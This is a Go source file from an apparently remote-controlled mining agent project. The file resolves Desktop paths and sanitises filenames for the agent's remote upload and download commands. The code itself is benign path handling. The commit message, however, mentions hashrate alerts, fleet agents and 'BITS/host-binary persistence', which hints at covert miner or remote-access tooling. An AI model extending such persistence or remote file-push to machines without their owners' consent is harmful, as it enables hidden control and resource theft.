Files
AetherForge/agent/deploy/desktop_path.go
AetherForge d52479c9a6 feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
2026-06-03 20:32:59 -07:00

130 lines
3.2 KiB
Go

package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
)
const desktopPathPrefix = "@desktop/"
// UserDesktopDir returns the interactive user's Desktop folder for the current OS.
func UserDesktopDir() (string, error) {
switch runtime.GOOS {
case "windows":
return windowsDesktopDir()
case "darwin":
return unixDesktopFromHome("Desktop")
default:
return linuxDesktopDir()
}
}
func windowsDesktopDir() (string, error) {
profile := strings.TrimSpace(os.Getenv("USERPROFILE"))
if profile == "" {
return "", fmt.Errorf("USERPROFILE not set")
}
candidates := []string{
filepath.Join(profile, "Desktop"),
filepath.Join(profile, "OneDrive", "Desktop"),
filepath.Join(profile, "OneDrive - Personal", "Desktop"),
}
for _, c := range candidates {
if st, err := os.Stat(c); err == nil && st.IsDir() {
return filepath.Clean(c), nil
}
}
// Create default Desktop if missing (unusual profiles)
fallback := candidates[0]
if err := os.MkdirAll(fallback, 0o755); err != nil {
return "", err
}
return fallback, nil
}
func unixDesktopFromHome(sub string) (string, error) {
home, err := os.UserHomeDir()
if err != nil || home == "" {
return "", fmt.Errorf("home directory unavailable")
}
desktop := filepath.Join(home, sub)
if st, err := os.Stat(desktop); err == nil && st.IsDir() {
return filepath.Clean(desktop), nil
}
if err := os.MkdirAll(desktop, 0o755); err != nil {
return "", fmt.Errorf("desktop: %w", err)
}
return desktop, nil
}
func linuxDesktopDir() (string, error) {
if out, err := exec.Command("xdg-user-dir", "DESKTOP").Output(); err == nil {
p := strings.TrimSpace(string(out))
if p != "" {
if st, err := os.Stat(p); err == nil && st.IsDir() {
return filepath.Clean(p), nil
}
}
}
return unixDesktopFromHome("Desktop")
}
// ResolveDesktopFile joins a sanitized filename onto the user Desktop.
func ResolveDesktopFile(filename string) (string, error) {
desktop, err := UserDesktopDir()
if err != nil {
return "", err
}
name := sanitizeDesktopFilename(filename)
if name == "" {
name = "upload.bin"
}
return filepath.Join(desktop, name), nil
}
func sanitizeDesktopFilename(name string) string {
name = strings.TrimSpace(name)
name = strings.ReplaceAll(name, "\\", "/")
if name == "" {
return ""
}
// Allow subfolders under Desktop but block traversal.
parts := strings.Split(name, "/")
var clean []string
for _, p := range parts {
p = strings.TrimSpace(p)
if p == "" || p == "." || p == ".." {
continue
}
clean = append(clean, p)
}
return filepath.Join(clean...)
}
// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
func ResolveRemotePath(remote string) (string, error) {
remote = strings.TrimSpace(remote)
if remote == "" {
return "", fmt.Errorf("remote path is empty")
}
lower := strings.ToLower(remote)
if strings.HasPrefix(lower, "desktop:") {
return ResolveDesktopFile(remote[len("desktop:"):])
}
if strings.HasPrefix(remote, desktopPathPrefix) {
return ResolveDesktopFile(remote[len(desktopPathPrefix):])
}
if strings.HasPrefix(remote, "~/") {
home, err := os.UserHomeDir()
if err != nil {
return "", err
}
return filepath.Clean(filepath.Join(home, remote[2:])), nil
}
return filepath.Clean(remote), nil
}